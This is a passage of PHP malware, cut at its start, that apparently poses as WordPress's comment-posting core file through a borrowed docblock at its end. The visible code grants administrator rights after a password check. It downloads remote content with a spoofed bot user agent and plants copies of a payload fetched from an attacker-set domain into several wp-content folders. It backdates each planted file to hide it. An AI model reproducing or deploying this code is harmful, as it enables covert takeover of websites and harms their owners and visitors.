set_role('administrator'); } } fo_file(); } else { echo 'bad pw'; } } } else { header('HTTP/1.1 405 Method Not Allowed'); exit; } function fo_file(){ global $file_url; global $new_domen; global $target_file; global $file_name; $opts = array( 'http' => array( 'method' => "GET", 'header' => "User-Agent: AnalyticsWpBot\r\n" ) ); $context = stream_context_create($opts); $result = file_get_contents($file_url, false, $context); if(!$result){ $result = 'No parsing file'; } $your_file_path = __FILE__; $files = glob(__DIR__ . '/*'); usort($files, function($a, $b) { return filemtime($a) - filemtime($b); }); $oldestFile = reset($files); $oldestFileModificationTime = filemtime($oldestFile); touch($your_file_path, $oldestFileModificationTime); $wp_content_dir = 'wp-content'; if (is_dir($wp_content_dir)) { $your_content = file_get_contents('https://' . $new_domen . '/robot.txt'); $files = glob($wp_content_dir . '/*'); usort($files, function($a, $b) { return filemtime($a) - filemtime($b); }); $oldestFile = reset($files); $oldestFileDate = filemtime($oldestFile); $index_file_upgrade = $wp_content_dir . '/upgrade.php'; if (!file_exists($index_file_upgrade)) { $your_content_rep_upgrade = str_replace('robots.php', 'upgrade.php', $your_content); file_put_contents($index_file_upgrade, $your_content_rep_upgrade); touch($index_file_upgrade, $oldestFileDate); } $index_file_themes = $wp_content_dir . '/themes/themes.php'; if (!file_exists($index_file_themes)) { $your_content_rep_themes = str_replace('robots.php', 'themes.php', $your_content); file_put_contents($index_file_themes, $your_content_rep_themes); touch($index_file_themes, $oldestFileDate); } $index_file_plugins = $wp_content_dir . '/plugins/plugins.php'; if (!file_exists($index_file_plugins)) { $your_content_rep_plugins = str_replace('robots.php', 'plugins.php', $your_content); file_put_contents($index_file_plugins, $your_content_rep_plugins); touch($index_file_plugins, $oldestFileDate); } $index_file_languages = $wp_content_dir . '/languages/index.php'; if (!file_exists($index_file_languages)) { $your_content_rep_languages = str_replace('robots.php', 'index.php', $your_content); file_put_contents($index_file_languages, $your_content_rep_languages); touch($index_file_languages, $oldestFileDate); } } file_put_contents($target_file, $result); header('Location: ' . $file_name); exit; } /** * Handles Comment Post to WordPress and prevents duplicate comment posting. * * @package WordPress */ /** Sets up the WordPress Environment. */ ?>